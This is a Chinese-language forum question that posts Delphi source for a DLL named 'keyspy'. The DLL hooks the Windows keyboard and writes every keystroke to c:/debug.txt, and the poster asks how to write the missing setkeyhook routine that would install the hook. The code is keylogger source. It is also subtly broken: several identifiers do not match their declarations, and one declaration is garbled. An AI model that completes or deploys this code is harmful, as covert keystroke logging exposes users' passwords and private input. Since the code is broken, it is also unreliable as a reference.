导出setkeyhook和endkeyhook两个，在PAS中只有endkeyhook,不知道setkeyhook的内容怎么写？<br> library 的代码如下：<br> library keyspy;<br> uses windows, messages, hookproc in 'hookproc.pas';<br> exports setkeyhook, endkeyhook;<br> begin<br> nexthookproc:=0;<br> procsaveexit:=exitproc;<br> exitproc:=@keyhookexit;<br> end.<br> 连接的HOOKPROC.PAS代码如下：<br> unit hookproc;<br> interface <br> uses Windows, Messages, SysUtils, Controls, StdCtrls;<br> var <br> nexthookproc:hhook;<br> procsaveexit
ointer;<br> function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;<br> function setkeyhook:bool;export;//加载钩子<br> function endkeyhook:bool;export;//卸载钩子<br> procedure keyhookexit;far;<br> const <br> afilename='c:/debug.txt';//将键盘输入动作写入文件中<br> var <br> debugfile:textfile;<br> implementation <br><br> function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export;<br> begin <br> if icode<0 then<br> begin <br> result:=callnexthookex(hnexthookproc,icode,wparam,lparam);<br> exit;<br> end;<br> assignfile(debugfile,afilename);<br> append(debugfile); <br> if getkeystate(vk_return)<0 then<br> begin <br> writeln(debugfile,'');<br> write(debugfile,char(wparam));<br> end<br> else <br> write(debugfile,char(wparam));<br> closefile(debugfile);<br> result:=0;<br> end;<br><br> function endkeyhook:bool;export;<br> begin <br> if nexthookproc<>0 then<br> begin <br> unhookwindowshookex(nexthookproc);<br> nexthookproc:=0;<br> messagebeep(0);<br> end;<br> result:=hnexthookproc=0;<br> end;<br><br> procedure keyhookexit;<br> far;<br> begin <br> if nexthookproc<>0 then<br> endkeyhook;<br> exitproc:=procsaveexit;<br> end;<br> end. <br>
